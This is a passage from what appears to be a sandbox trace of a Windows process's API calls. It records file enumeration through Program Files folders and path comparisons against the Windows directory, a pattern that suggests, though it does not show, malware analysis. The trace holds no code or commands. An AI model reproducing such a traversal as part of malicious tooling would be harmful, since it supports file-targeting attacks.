ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0259.031] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="..", cAlternateFileName="")) returned 1 [0259.031] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.032] RtlpDeCommitFreeBlock () [0259.032] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0259.033] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="..", cAlternateFileName="")) returned 1 [0259.033] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.034] RtlpDeCommitFreeBlock () [0259.034] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="..", cAlternateFileName="")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.105] RtlpDeCommitFreeBlock () [0259.105] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0259.331] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="..", cAlternateFileName="")) returned 1 [0259.332] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0259.333] RtlpDeCommitFreeBlock () [0259.333] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0259.334] RtlpDeCommitFreeBlock () [0259.334] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0259.336] RtlpDeCommitFreeBlock () [0259.336] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0259.338] RtlpDeCommitFreeBlock () [0259.338] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0259.341] RtlpDeCommitFreeBlock () [0259.341] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0259.342] RtlpDeCommitFreeBlock () [0259.342] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0259.343] RtlpDeCommitFreeBlock () [0259.343] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0259.344] RtlpDeCommitFreeBlock () [0259.344] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0259.346] RtlpDeCommitFreeBlock () [0259.346] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0259.348] RtlpDeCommitFreeBlock () [0259.348] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0259.350] RtlpDeCommitFreeBlock () [0259.350] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0259.352] RtlpDeCommitFreeBlock () [0259.352] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0259.353] RtlpDeCommitFreeBlock () [0259.353] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0259.355] RtlpDeCommitFreeBlock () [0259.355] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0259.355] RtlpDeCommitFreeBlock () [0259.355] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0259.355] RtlpDeCommitFreeBlock () [0259.355] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0259.356] RtlpDeCommitFreeBlock () [0259.356] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0259.356] RtlpDeCommitFreeBlock () [0259.356] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0259.356] RtlpDeCommitFreeBlock () [0259.356] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7efd01f0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7efd01f0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0259.508] RtlpDeCommitFreeBlock () [0259.508] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0259.509] RtlpDeCommitFreeBlock () [0259.509] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0259.509] RtlpDeCommitFreeBlock () [0259.509] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0259.557] RtlpDeCommitFreeBlock () [0259.557] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0259.567] RtlpDeCommitFreeBlock () [0259.567] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0259.567] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0259.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4588140 | out: hHeap=0x540000) returned 1 [0259.567] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0259.567] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0259.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0259.567] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0259.567] FindClose (in: hFindFile=0x63f0c8 | out: hFindFile=0x63f0c8) returned 1 [0259.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45bc178 | out: hHeap=0x540000) returned 1 [0259.567] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0259.567] FindClose (in: hFindFile=0x63ee88 | out: hFindFile=0x63ee88) returned 1 [0259.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45f4198 | out: hHeap=0x540000) returned 1 [0259.567] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f01c4b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f01c4b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0259.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office") returned 33 [0259.567] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office") returned 1 [0259.568] lstrlenW (lpString="Microsoft Office") returned 16 [0259.568] lstrcmpiW (lpString1="C:\\Windows", lpString2="Microsoft Office") returned -1 [0259.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x45f4198 [0259.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office") returned 33 [0259.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f01c4b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f01c4b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63ee88 [0259.568] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f01c4b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f01c4b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.568] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0259.568] lstrlenW (lpString="C:\\Program Files\\Microsoft 